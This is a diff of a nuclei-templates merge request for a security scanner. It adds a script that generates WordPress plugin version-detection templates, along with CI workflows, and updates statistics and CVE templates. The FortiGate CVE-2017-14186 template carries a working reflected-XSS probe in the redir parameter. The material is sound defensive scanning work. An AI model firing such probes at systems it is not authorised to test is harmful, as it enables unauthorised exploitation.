Merge pull request #6930 from projectdiscovery/CVE-2020-16846

Update CVE-2020-16846.yaml
2026-11-07 08:36:19 -10:00 · 2023-03-22 08:55:41 +05:30 · 2023-03-21 14:09:29 +05:30 · 2023-03-02 13:37:07 +05:30 · 2023-03-02 13:34:02 +05:30 · 2023-03-02 04:26:26 +00:00
719 changed files with 22096 additions and 2887 deletions
@@ -0,0 +1,10 @@
+beautifulsoup4==4.11.1
+bs4==0.0.1
+certifi==2022.9.24
+charset-normalizer==2.1.1
+idna==3.4
+Markdown==3.4.1
+requests==2.28.1
+soupsieve==2.3.2.post1
+termcolor==2.1.1
+urllib3==1.26.13
@@ -0,0 +1,185 @@
+#!/usr/bin/env python3
+
+'''
+This script reads the URL https://wordpress.org/plugins/browse/popular/ until page 10, extract each plugin name and namespace,
+then in http://plugins.svn.wordpress.org/ website, looks for the "Stable tag" inside the readme.txt and extract the last version
+number from trunk branch. Finally generates a template and a payload file with last version number to be used during scan that
+compares the detect version with the payload version.
+
+The generated template also includes the tags top-100 and top-200 allowing filtering.
+
+e.g.
+nuclei -t technologies/wordpress/plugins -tags top-100 -u https://www.example.com
+'''
+
+__author__ = "ricardomaia"
+
+from time import sleep
+from bs4 import BeautifulSoup
+import requests
+import re
+from markdown import markdown
+import os
+from termcolor import colored, cprint
+
+# Regex to extract the name of th plugin from the URL
+regex = r"https://wordpress.org/plugins/(\w.+)/"
+
+ranking = 1
+
+# Top 200 Wordpress Plugins
+for page_number in range(1, 11):
+
+    html = requests.get(url=f"https://wordpress.org/plugins/browse/popular/page/{page_number}", headers={
+        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
+        "Accept-Language": "en-US,en;q=0.9",
+        "Accept-Encoding": "gzip, deflate",
+        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
+        "Connection": "keep-alive",
+        "Upgrade-Insecure-Requests": "1",
+        "Cache-Control": "max-age=0",
+        "Pragma": "no-cache",
+    }).content
+
+    # Parse HTML
+    soup = BeautifulSoup(html, 'html.parser')
+    results = soup.find(id="main")
+    articles = results.find_all("article", class_="plugin-card")
+
+    # Setting the top tag
+    top_tag = "top-100,top-200" if page_number <= 5 else "top-200"
+
+    # Get each plugin in the page
+    for article in articles:
+
+        full_title = article.find("h3", class_="entry-title").get_text()
+        regex_remove_quotes = r"[\"`:]"
+        subst_remove_quotes = "'"
+        title = re.sub(regex_remove_quotes, subst_remove_quotes, full_title)
+
+        link = article.find("a").get("href")
+        name = re.search(regex, link).group(1)
+
+        cprint(f"Title: {title}", "cyan")
+        cprint(f"Link: {link}", "yellow")
+        cprint(f"Name: {name} - Ranking: {ranking}", "green")
+        print(f"Page Number: {page_number}")
+        print(f"Top Tag: {top_tag}")
+        print(f"http://plugins.svn.wordpress.org/{name}/trunk/readme.txt")
+        ranking += 1
+
+        sleep(0.2)
+
+        # Get the readme.txt file from SVN
+        readme = requests.get(
+            url=f"http://plugins.svn.wordpress.org/{name}/trunk/readme.txt",
+            headers={
+                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36",
+                "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
+                "Accept-Encoding": "gzip, deflate",
+                "Accept-Language": "pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7,es;q=0.6",
+                "Cache-Control": "no-cache",
+                "Connection": "keep-alive",
+                "Host": "plugins.svn.wordpress.org",
+                "Pragma": "no-cache",
+                "Upgrade-Insecure-Requests": "1",
+                "Referer": "http://plugins.svn.wordpress.org/{name}/trunk/"}).content
+
+        # Extract the plugin version
+        try:
+            version = re.search(r"(?i)Stable.tag:\s+([\w.]+)",
+                                readme.decode("utf-8")).group(1)
+        except:
+            version = "N/A"
+
+        # Extract the plugin description
+        try:
+            description_markdown = re.search(
+                r"(?i)==.Description.==\W+\n?(.*)", readme.decode("utf-8")).group(1)
+            html = markdown(description_markdown)
+            full_description = BeautifulSoup(html, 'html.parser').get_text()
+            regex_max_length = r"(\b.{80}\b)"
+            subst_max_lenght = "\\g<1>\\n    "
+            description = re.sub(
+                regex_max_length, subst_max_lenght, full_description, 0, re.MULTILINE)
+        except:
+            description = "N/A"
+
+        print(f"Version: {version}")
+        print(f"Description: {description}")
+
+        # Write the plugin template to file
+        template = f'''id: wordpress-{name}
+
+info:
+  name: {title} Detection
+  author: ricardomaia
+  severity: info
+  reference:
+    - https://wordpress.org/plugins/{name}/
+  metadata:
+    plugin_namespace: {name}
+    wpscan: https://wpscan.com/plugin/{name}
+  tags: tech,wordpress,wp-plugin,{top_tag}
+
+requests:
+  - method: GET
+
+    path:
+      - "{{{{BaseURL}}}}/wp-content/plugins/{name}/readme.txt"
+
+    payloads:
+      last_version: helpers/wordpress/plugins/{name}.txt
+
+    extractors:
+      - type: regex
+        part: body
+        internal: true
+        name: internal_detected_version
+        group: 1
+        regex:
+          - '(?i)Stable.tag:\s?([\w.]+)'
+
+      - type: regex
+        part: body
+        name: detected_version
+        group: 1
+        regex:
+          - '(?i)Stable.tag:\s?([\w.]+)'
+
+    matchers-condition: or
+    matchers:
+      - type: dsl
+        name: "outdated_version"
+        dsl:
+          - compare_versions(internal_detected_version, concat("< ", last_version))
+
+      - type: regex
+        part: body
+        regex:
+          - '(?i)Stable.tag:\s?([\w.]+)'
+'''
+
+        work_dir = os.getcwd()
+        print(f"Current working directory: {work_dir}")
+        helper_dir = f"{work_dir}/helpers/wordpress/plugins"
+        template_dir = f"{work_dir}/technologies/wordpress/plugins"
+
+        if not os.path.exists(helper_dir):
+            os.makedirs(helper_dir)
+
+        if not os.path.exists(template_dir):
+            os.makedirs(template_dir)
+
+        helper_path = f"helpers/wordpress/plugins/{name}.txt"
+        version_file = open(helper_path, "w")
+        version_file.write(version)
+        version_file.close()
+
+        template_path = f"technologies/wordpress/plugins/{name}.yaml"
+        template_file = open(template_path, "w")  # Dev environment
+        template_file.write(template)
+        template_file.close()
+
+        print("--------------------------------------------")
+        print("\n")
@@ -0,0 +1,38 @@
+name: 📝 Template Checksum
+
+on:
+  push:
+    tags:
+      - '*'
+  workflow_dispatch:
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@master
+      - uses: actions/setup-go@v2
+        with: 
+          go-version: 1.18
+
+      - name: install checksum generator
+        run: |
+          go install -v github.com/projectdiscovery/nuclei/v2/cmd/generate-checksum@dev
+
+      - name: generate checksum
+        run: |
+          generate-checksum /home/runner/work/nuclei-templates/nuclei-templates/ templates-checksum.txt
+
+      - name: Commit files
+        run: |
+          git pull
+          git add templates-checksum.txt
+          git config --local user.email "[email protected]"
+          git config --local user.name "GitHub Action"
+          git commit -m "Auto Generated Templates Checksum [$(date)] :robot:" -a
+
+      - name: Push changes
+        uses: ad-m/github-push-action@master
+        with:
+          github_token: ${{ secrets.GITHUB_TOKEN }}
+          branch: master
@@ -14,7 +14,7 @@ jobs:
        with:
          go-version: 1.17

-      - name: Intalling Indexer
+      - name: Installing Indexer
        run: |
          git config --global url."https://${{ secrets.ACCESS_TOKEN }}@github".insteadOf https://github
          git clone https://github.com/projectdiscovery/nucleish-api.git
@@ -26,4 +26,4 @@ jobs:
          AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}
          AWS_SECRET_KEY: ${{ secrets.AWS_SECRET_KEY }}
        run: |
-          generate-index -mode templates
+          generate-index -mode templates
@@ -0,0 +1,43 @@
+name: ✨ WordPress Plugins - Update
+on:
+  schedule:
+    - cron: "0 4 * * *" # every day at 4am UTC
+  workflow_dispatch:
+jobs:
+  Update:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Check out repository code
+        uses: actions/checkout@v3
+        with:
+          persist-credentials: false # otherwise, the token used is the GITHUB_TOKEN, instead of your personal token
+          fetch-depth: 0 # otherwise, you will failed to push refs to dest repo
+
+      - name: Install Python3
+        uses: actions/setup-python@v4
+        with:
+          python-version: "3.10"
+      - run: |
+          python -m pip install --upgrade pip
+          pip install -r .github/scripts/wordpress-plugins-update-requirements.txt
+
+      - name: Update Templates
+        id: update-templates
+        run: |
+          python3 .github/scripts/wordpress-plugins-update.py
+          git status -s | wc -l | xargs -I {} echo CHANGES={} >> $GITHUB_OUTPUT
+
+      - name: Commit files
+        if: steps.update-templates.outputs.CHANGES > 0
+        run: |
+          git config --local user.email "[email protected]"
+          git config --local user.name "GitHub Action"
+          git add --all
+          git commit -m "Auto WordPress Plugins Update [$(date)] :robot:"
+
+      - name: Push changes
+        if: steps.update-templates.outputs.CHANGES > 0
+        uses: ad-m/github-push-action@master
+        with:
+          github_token: ${{ secrets.GITHUB_TOKEN }}
+          branch: ${{ github.ref }}
@@ -1,70 +0,0 @@
-cves/2012/CVE-2012-0394.yaml
-cves/2020/CVE-2020-26248.yaml
-cves/2021/CVE-2021-3110.yaml
-cves/2021/CVE-2021-43421.yaml
-cves/2022/CVE-2022-1883.yaml
-cves/2022/CVE-2022-1916.yaml
-cves/2022/CVE-2022-1933.yaml
-cves/2022/CVE-2022-2034.yaml
-cves/2022/CVE-2022-25481.yaml
-cves/2022/CVE-2022-3506.yaml
-cves/2022/CVE-2022-45933.yaml
-default-logins/nsicg/nsicg-default-login.yaml
-default-logins/versa/versa-flexvnf-default-login.yaml
-exposed-panels/asus-router-panel.yaml
-exposed-panels/backpack/backpack-admin-panel.yaml
-exposed-panels/cisco/cisco-webvpn-detect.yaml
-exposed-panels/cudatel-panel.yaml
-exposed-panels/dqs-superadmin-panel.yaml
-exposed-panels/dradis-pro-panel.yaml
-exposed-panels/exolis-engage-panel.yaml
-exposed-panels/fastpanel-hosting-control-panel.yaml
-exposed-panels/flahscookie-superadmin-panel.yaml
-exposed-panels/locklizard-webviewer-panel.yaml
-exposed-panels/mach-proweb-login.yaml
-exposed-panels/mikrotik/mikrotik-routeros-old.yaml
-exposed-panels/nuxeo-platform-panel.yaml
-exposed-panels/opencart-panel.yaml
-exposed-panels/pega-web-panel.yaml
-exposed-panels/persis-panel.yaml
-exposed-panels/riseup-panel.yaml
-exposed-panels/superadmin-ui-panel.yaml
-exposed-panels/versa/versa-director-login.yaml
-exposed-panels/versa/versa-flexvnf-panel.yaml
-exposed-panels/vodafone-voxui-panel.yaml
-exposed-panels/zyxel-router-panel.yaml
-exposures/configs/sftp-config-exposure.yaml
-exposures/configs/sftp-deployment-config.yaml
-exposures/files/dbeaver-database-connections.yaml
-exposures/files/jetbrains-webservers.yaml
-exposures/files/npmrc-authtoken.yaml
-exposures/files/openstack-user-secrets.yaml
-exposures/logs/ffserver-status.yaml
-misconfiguration/collectd-exporter-metrics.yaml
-misconfiguration/installer/oxid-eshop-installer.yaml
-misconfiguration/libvirt-exporter-metrics.yaml
-misconfiguration/lvm-exporter-metrics.yaml
-misconfiguration/mysqld-exporter-metrics.yaml
-misconfiguration/namedprocess-exporter-metrics.yaml
-misconfiguration/postgres-exporter-metrics.yaml
-misconfiguration/rabbitmq-exporter-metrics.yaml
-misconfiguration/s3-torrent.yaml
-misconfiguration/symfony-fosjrouting-bundle.yaml
-misconfiguration/unauth-etherpad.yaml
-network/default-login/ldap-anonymous-login.yaml
-network/detection/dropbear-cbc-ciphers.yaml
-network/misconfig/dropbear-weakalgo.yaml
-network/misconfig/dropbear-weakmac.yaml
-takeovers/meteor-takeover.yaml
-technologies/aerocms-detect.yaml
-technologies/goliath-detect.yaml
-technologies/oracle-httpserver12c.yaml
-technologies/payara-micro-server-detect.yaml
-technologies/vbulletin-detect.yaml
-technologies/versa-flexvnf-server.yaml
-technologies/versa/versa-director-api.yaml
-technologies/versa/versa-networks-detect.yaml
-technologies/workerman-websocket-detect.yaml
-token-spray/api-giphy.yaml
-vulnerabilities/other/inspur-clusterengine-rce.yaml
-vulnerabilities/wordpress/wptouch-xss.yaml
@@ -42,18 +42,18 @@ An overview of the nuclei template project, including statistics on unique tags,

 |    TAG    | COUNT |    AUTHOR     | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
 |-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |  1538 | dhiyaneshdk   |   692 | cves             |  1516 | info     |  1631 | http    |  4257 |
-| panel     |   755 | daffainfo     |   662 | exposed-panels   |   757 | high     |  1141 | file    |    78 |
-| edb       |   578 | pikpikcu      |   340 | vulnerabilities  |   518 | medium   |   829 | network |    73 |
-| xss       |   537 | pdteam        |   274 | misconfiguration |   350 | critical |   546 | dns     |    17 |
-| exposure  |   536 | geeknik       |   197 | technologies     |   311 | low      |   269 |         |       |
-| lfi       |   519 | dwisiswant0   |   171 | exposures        |   301 | unknown  |    25 |         |       |
-| wordpress |   465 | 0x_akoko      |   170 | token-spray      |   235 |          |       |         |       |
-| cve2021   |   366 | pussycat0x    |   168 | workflows        |   190 |          |       |         |       |
-| wp-plugin |   360 | ritikchaddha  |   161 | default-logins   |   114 |          |       |         |       |
-| tech      |   349 | princechaddha |   153 | file             |    78 |          |       |         |       |
+| cve       |  1552 | dhiyaneshdk   |   701 | cves             |  1529 | info     |  1671 | http    |  4330 |
+| panel     |   780 | daffainfo     |   662 | exposed-panels   |   782 | high     |  1152 | file    |    78 |
+| edb       |   582 | pikpikcu      |   344 | vulnerabilities  |   520 | medium   |   837 | network |    77 |
+| exposure  |   551 | pdteam        |   274 | misconfiguration |   361 | critical |   552 | dns     |    17 |
+| xss       |   543 | geeknik       |   206 | technologies     |   322 | low      |   281 |         |       |
+| lfi       |   519 | pussycat0x    |   172 | exposures        |   308 | unknown  |    25 |         |       |
+| wordpress |   471 | dwisiswant0   |   171 | token-spray      |   236 |          |       |         |       |
+| cve2021   |   370 | 0x_akoko      |   170 | workflows        |   190 |          |       |         |       |
+| wp-plugin |   366 | ritikchaddha  |   164 | default-logins   |   116 |          |       |         |       |
+| tech      |   360 | princechaddha |   153 | file             |    78 |          |       |         |       |

-**314 directories, 4660 files**.
+**335 directories, 5229 files**.

 </td>
 </tr>
@@ -1 +1 @@
-{"tags":[{"name":"cve","count":1538},{"name":"panel","count":755},{"name":"edb","count":578},{"name":"xss","count":537},{"name":"exposure","count":536},{"name":"lfi","count":519},{"name":"wordpress","count":465},{"name":"cve2021","count":366},{"name":"wp-plugin","count":360},{"name":"tech","count":349},{"name":"rce","count":345},{"name":"packetstorm","count":291},{"name":"cve2022","count":262},{"name":"wpscan","count":252},{"name":"token-spray","count":235},{"name":"misconfig","count":221},{"name":"cve2020","count":221},{"name":"","count":195},{"name":"unauth","count":194},{"name":"wp","count":182},{"name":"kev","count":167},{"name":"config","count":163},{"name":"cve2018","count":145},{"name":"cve2019","count":137},{"name":"joomla","count":135},{"name":"default-login","count":130},{"name":"oast","count":127},{"name":"apache","count":126},{"name":"iot","count":123},{"name":"authenticated","count":118},{"name":"sqli","count":115},{"name":"cve2010","count":111},{"name":"redirect","count":90},{"name":"router","count":90},{"name":"files","count":89},{"name":"login","count":88},{"name":"network","count":76},{"name":"devops","count":75},{"name":"takeover","count":74},{"name":"token","count":74},{"name":"ssrf","count":72},{"name":"cve2017","count":70},{"name":"cms","count":67},{"name":"auth-bypass","count":65},{"name":"file","count":65},{"name":"oracle","count":62},{"name":"intrusive","count":59},{"name":"install","count":58},{"name":"seclists","count":57},{"name":"disclosure","count":56},{"name":"oss","count":51},{"name":"cisco","count":49},{"name":"cve2016","count":49},{"name":"google","count":48},{"name":"fileupload","count":47},{"name":"cve2015","count":47},{"name":"adobe","count":45},{"name":"aem","count":42},{"name":"plugin","count":41},{"name":"cve2014","count":41},{"name":"vulhub","count":38},{"name":"atlassian","count":38},{"name":"vmware","count":38},{"name":"logs","count":37},{"name":"traversal","count":35},{"name":"springboot","count":35},{"name":"tenable","count":35},{"name":"hackerone","count":34},{"name":"injection","count":33},{"name":"jira","count":32},{"name":"listing","count":31},{"name":"debug","count":30},{"name":"kubernetes","count":29},{"name":"huntr","count":29},{"name":"generic","count":28},{"name":"dns","count":27},{"name":"log4j","count":26},{"name":"sap","count":25},{"name":"microsoft","count":25},{"name":"cnvd","count":25},{"name":"jndi","count":23},{"name":"proxy","count":23},{"name":"misc","count":23},{"name":"aws","count":22},{"name":"php","count":22},{"name":"fuzz","count":21},{"name":"zoho","count":21},{"name":"wp-theme","count":21},{"name":"manageengine","count":21},{"name":"cloud","count":20},{"name":"cve2012","count":20},{"name":"weblogic","count":20},{"name":"ibm","count":19},{"name":"tomcat","count":19},{"name":"camera","count":19},{"name":"cicd","count":19},{"name":"k8s","count":19},{"name":"api","count":19},{"name":"deserialization","count":19},{"name":"dlink","count":18},{"name":"gitlab","count":18},{"name":"service","count":17},{"name":"firewall","count":17},{"name":"wavlink","count":17},{"name":"jenkins","count":17},{"name":"struts","count":16},{"name":"printer","count":16},{"name":"ftp","count":16},{"name":"cve2011","count":15},{"name":"xxe","count":15},{"name":"cve2009","count":15},{"name":"nginx","count":15},{"name":"fortinet","count":14},{"name":"java","count":14},{"name":"hp","count":14},{"name":"android","count":14},{"name":"domainmod","count":14},{"name":"msf","count":13},{"name":"lfr","count":13},{"name":"magento","count":13},{"name":"amazon","count":13},{"name":"cve2013","count":13},{"name":"abstractapi","count":13},{"name":"woocommerce","count":13},{"name":"confluence","count":13},{"name":"status","count":13},{"name":"netsweeper","count":12},{"name":"drupal","count":12},{"name":"rails","count":12},{"name":"ruijie","count":12},{"name":"graphql","count":12},{"name":"netgear","count":12},{"name":"backup","count":12},{"name":"microweber","count":12},{"name":"cve2008","count":12},{"name":"github","count":12},{"name":"ssl","count":11},{"name":"airflow","count":11},{"name":"cisa","count":11},{"name":"azure","count":11},{"name":"vpn","count":11},{"name":"mail","count":11},{"name":"backdoor","count":11},{"name":"webserver","count":11},{"name":"fortigate","count":11},{"name":"cnvd2021","count":11},{"name":"glpi","count":10},{"name":"grafana","count":10},{"name":"git","count":10},{"name":"laravel","count":10},{"name":"ruby","count":10},{"name":"coldfusion","count":10},{"name":"zyxel","count":10},{"name":"django","count":10},{"name":"jolokia","count":10},{"name":"spring","count":10},{"name":"dell","count":10},{"name":"iis","count":9},{"name":"zimbra","count":9},{"name":"fastjson","count":9},{"name":"wso2","count":9},{"name":"kube","count":9},{"name":"prometheus","count":9},{"name":"phpmyadmin","count":9},{"name":"dedecms","count":9},{"name":"ssti","count":9},{"name":"windows","count":9},{"name":"zabbix","count":9},{"name":"vcenter","count":9},{"name":"sonicwall","count":9}Line truncated
+{"tags":[{"name":"cve","count":1552},{"name":"panel","count":780},{"name":"edb","count":582},{"name":"exposure","count":551},{"name":"xss","count":543},{"name":"lfi","count":519},{"name":"wordpress","count":471},{"name":"cve2021","count":370},{"name":"wp-plugin","count":366},{"name":"tech","count":360},{"name":"rce","count":347},{"name":"packetstorm","count":292},{"name":"cve2022","count":266},{"name":"wpscan","count":256},{"name":"token-spray","count":236},{"name":"misconfig","count":228},{"name":"cve2020","count":224},{"name":"","count":195},{"name":"unauth","count":194},{"name":"wp","count":188},{"name":"kev","count":168},{"name":"config","count":167},{"name":"cve2018","count":145},{"name":"cve2019","count":137},{"name":"joomla","count":135},{"name":"default-login","count":133},{"name":"apache","count":127},{"name":"oast","count":127},{"name":"iot","count":125},{"name":"authenticated","count":121},{"name":"sqli","count":118},{"name":"cve2010","count":111},{"name":"files","count":92},{"name":"router","count":92},{"name":"redirect","count":90},{"name":"login","count":89},{"name":"network","count":81},{"name":"takeover","count":75},{"name":"devops","count":75},{"name":"token","count":74},{"name":"ssrf","count":72},{"name":"cve2017","count":71},{"name":"cms","count":67},{"name":"auth-bypass","count":66},{"name":"file","count":65},{"name":"oracle","count":63},{"name":"intrusive","count":60},{"name":"install","count":59},{"name":"disclosure","count":57},{"name":"seclists","count":57},{"name":"oss","count":52},{"name":"cisco","count":50},{"name":"cve2016","count":49},{"name":"google","count":48},{"name":"cve2015","count":47},{"name":"fileupload","count":47},{"name":"adobe","count":45},{"name":"aem","count":42},{"name":"plugin","count":41},{"name":"cve2014","count":41},{"name":"hackerone","count":39},{"name":"vmware","count":38},{"name":"vulhub","count":38},{"name":"logs","count":38},{"name":"atlassian","count":38},{"name":"debug","count":37},{"name":"tenable","count":36},{"name":"springboot","count":35},{"name":"traversal","count":35},{"name":"injection","count":34},{"name":"jira","count":32},{"name":"huntr","count":31},{"name":"listing","count":31},{"name":"kubernetes","count":30},{"name":"generic","count":28},{"name":"dns","count":27},{"name":"log4j","count":26},{"name":"cnvd","count":25},{"name":"sap","count":25},{"name":"microsoft","count":25},{"name":"misc","count":23},{"name":"jndi","count":23},{"name":"proxy","count":23},{"name":"aws","count":23},{"name":"fuzz","count":22},{"name":"php","count":22},{"name":"api","count":21},{"name":"zoho","count":21},{"name":"manageengine","count":21},{"name":"cve2012","count":21},{"name":"wp-theme","count":21},{"name":"cloud","count":20},{"name":"weblogic","count":20},{"name":"tomcat","count":19},{"name":"k8s","count":19},{"name":"camera","count":19},{"name":"ibm","count":19},{"name":"cicd","count":19},{"name":"deserialization","count":19},{"name":"gitlab","count":18},{"name":"dlink","count":18},{"name":"firewall","count":17},{"name":"service","count":17},{"name":"jenkins","count":17},{"name":"wavlink","count":17},{"name":"struts","count":17},{"name":"ftp","count":16},{"name":"printer","count":16},{"name":"nginx","count":15},{"name":"xxe","count":15},{"name":"cve2011","count":15},{"name":"cve2009","count":15},{"name":"fortinet","count":15},{"name":"java","count":14},{"name":"domainmod","count":14},{"name":"hp","count":14},{"name":"android","count":14},{"name":"confluence","count":13},{"name":"woocommerce","count":13},{"name":"cve2008","count":13},{"name":"status","count":13},{"name":"msf","count":13},{"name":"amazon","count":13},{"name":"abstractapi","count":13},{"name":"cve2013","count":13},{"name":"lfr","count":13},{"name":"magento","count":13},{"name":"drupal","count":12},{"name":"microweber","count":12},{"name":"github","count":12},{"name":"netgear","count":12},{"name":"rails","count":12},{"name":"fortigate","count":12},{"name":"vpn","count":12},{"name":"backup","count":12},{"name":"ruijie","count":12},{"name":"netsweeper","count":12},{"name":"graphql","count":12},{"name":"webserver","count":11},{"name":"zyxel","count":11},{"name":"azure","count":11},{"name":"ssl","count":11},{"name":"cnvd2021","count":11},{"name":"backdoor","count":11},{"name":"mail","count":11},{"name":"cisa","count":11},{"name":"airflow","count":11},{"name":"laravel","count":10},{"name":"django","count":10},{"name":"git","count":10},{"name":"dell","count":10},{"name":"grafana","count":10},{"name":"glpi","count":10},{"name":"ruby","count":10},{"name":"jolokia","count":10},{"name":"spring","count":10},{"name":"coldfusion","count":10},{"name":"ssti","count":9},{"name":"fastjson","count":9},{"name":"kube","count":9},{"name":"phpmyadmin","count":9},{"name":"prometheus","count":9},{"name":"windows","count":9},{"name":"ssh","count":9},{"name":"zimbra","count":9},{"name":"versa","count":9},{"name":"vcenter","count":9},{"name":"sonicwall","count":9},{"name":"dedecms","count":9},{"name":"iis","count":9},{Line truncated
@@ -1,12 +1,12 @@
 |    TAG    | COUNT |    AUTHOR     | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
 |-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |  1538 | dhiyaneshdk   |   692 | cves             |  1516 | info     |  1631 | http    |  4257 |
-| panel     |   755 | daffainfo     |   662 | exposed-panels   |   757 | high     |  1141 | file    |    78 |
-| edb       |   578 | pikpikcu      |   340 | vulnerabilities  |   518 | medium   |   829 | network |    73 |
-| xss       |   537 | pdteam        |   274 | misconfiguration |   350 | critical |   546 | dns     |    17 |
-| exposure  |   536 | geeknik       |   197 | technologies     |   311 | low      |   269 |         |       |
-| lfi       |   519 | dwisiswant0   |   171 | exposures        |   301 | unknown  |    25 |         |       |
-| wordpress |   465 | 0x_akoko      |   170 | token-spray      |   235 |          |       |         |       |
-| cve2021   |   366 | pussycat0x    |   168 | workflows        |   190 |          |       |         |       |
-| wp-plugin |   360 | ritikchaddha  |   161 | default-logins   |   114 |          |       |         |       |
-| tech      |   349 | princechaddha |   153 | file             |    78 |          |       |         |       |
+| cve       |  1552 | dhiyaneshdk   |   701 | cves             |  1529 | info     |  1671 | http    |  4330 |
+| panel     |   780 | daffainfo     |   662 | exposed-panels   |   782 | high     |  1152 | file    |    78 |
+| edb       |   582 | pikpikcu      |   344 | vulnerabilities  |   520 | medium   |   837 | network |    77 |
+| exposure  |   551 | pdteam        |   274 | misconfiguration |   361 | critical |   552 | dns     |    17 |
+| xss       |   543 | geeknik       |   206 | technologies     |   322 | low      |   281 |         |       |
+| lfi       |   519 | pussycat0x    |   172 | exposures        |   308 | unknown  |    25 |         |       |
+| wordpress |   471 | dwisiswant0   |   171 | token-spray      |   236 |          |       |         |       |
+| cve2021   |   370 | 0x_akoko      |   170 | workflows        |   190 |          |       |         |       |
+| wp-plugin |   366 | ritikchaddha  |   164 | default-logins   |   116 |          |       |         |       |
+| tech      |   360 | princechaddha |   153 | file             |    78 |          |       |         |       |
@@ -1,18 +1,21 @@
 id: CVE-2008-6465

 info:
-  name: Parallels H-Sphere - Cross Site Scripting
+  name: Parallels H-Sphere 3.0.0 P9/3.1 P1 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
-    Multiple cross-site scripting (XSS) vulnerabilities in login.php in webshell4 in Parallels H-Sphere 3.0.0 P9 and 3.1 P1 allow remote attackers to inject arbitrary web script or HTML via the (1) err, (2) errorcode, and (3) login parameters.
+    Parallels H-Sphere 3.0.0 P9 and 3.1 P1 contains multiple cross-site scripting vulnerabilities in login.php in webshell4. An attacker can inject arbitrary web script or HTML via the err, errorcode, and login parameters, thus allowing theft of cookie-based authentication credentials and launch of other attacks.
  reference:
    - http://www.xssing.com/index.php?x=3&y=65
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/45254
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/45252
    - https://nvd.nist.gov/vuln/detail/CVE-2008-6465
  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 5.4
    cve-id: CVE-2008-6465
+    cwe-id: CWE-80
  metadata:
    verified: true
    shodan-query: title:"Parallels H-Sphere
@@ -40,3 +43,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by md on 2022/12/08
@@ -1,38 +1,42 @@
-id: CVE-2017-14186
-
-info:
-  name: FortiGate SSL VPN Web Portal - Cross Site Scripting
-  author: johnk3r
-  severity: medium
-  description: |
-    Failure to sanitize the login redir parameter in the SSL-VPN web portal may allow an attacker to perform a Cross-site Scripting (XSS) or an URL Redirection attack.
-  reference:
-    - https://www.fortiguard.com/psirt/FG-IR-17-242
-    - https://nvd.nist.gov/vuln/detail/CVE-2017-14186
-  classification:
-    cve-id: CVE-2017-14186
-  metadata:
-    verified: true
-    shodan-query: port:10443 http.favicon.hash:945408572
-  tags: cve,cve2017,fortigate,xss,fortinet
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/remote/loginredir?redir=javascript:alert(document.domain)"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - 'location=decodeURIComponent("javascript%3Aalert%28document.domain%29"'
-
-      - type: word
-        part: header
-        words:
-          - "text/html"
-
-      - type: status
-        status:
-          - 200
+id: CVE-2017-14186
+
+info:
+  name: FortiGate SSL VPN Web Portal - Cross Site Scripting
+  author: johnk3r
+  severity: medium
+  description: |
+    Failure to sanitize the login redir parameter in the SSL-VPN web portal may allow an attacker to perform a Cross-site Scripting (XSS) or an URL Redirection attack.
+  reference:
+    - https://www.fortiguard.com/psirt/FG-IR-17-242
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-14186
+    - https://fortiguard.com/advisory/FG-IR-17-242
+    - https://web.archive.org/web/20210801135714/http://www.securitytracker.com/id/1039891
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 5.4
+    cve-id: CVE-2017-14186
+    cwe-id: CWE-79
+  metadata:
+    shodan-query: port:10443 http.favicon.hash:945408572
+    verified: "true"
+  tags: cve,cve2017,fortigate,xss,fortinet
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/remote/loginredir?redir=javascript:alert(document.domain)"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'location=decodeURIComponent("javascript%3Aalert%28document.domain%29"'
+
+      - type: word
+        part: header
+        words:
+          - "text/html"
+
+      - type: status
+        status:
+          - 200
@@ -18,7 +18,7 @@ info:
    - http://www.openwall.com/lists/oss-security/2017/04/16/2
    - https://nvd.nist.gov/vuln/detail/CVE-2017-7615
  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2017-7615
    cwe-id: CWE-640
@@ -9,7 +9,7 @@ info:
  reference:
    - https://developer.joomla.org/security-centre/692-20170501-core-sql-injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-8917
-    - http://www.securitytracker.com/id/1038522
+    - https://web.archive.org/web/20211207050608/http://www.securitytracker.com/id/1038522
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
@@ -11,7 +11,7 @@ info:
    - https://pastebin.com/raw/rt7LJvyF
    - https://www.exploit-db.com/exploits/42290/
  classification:
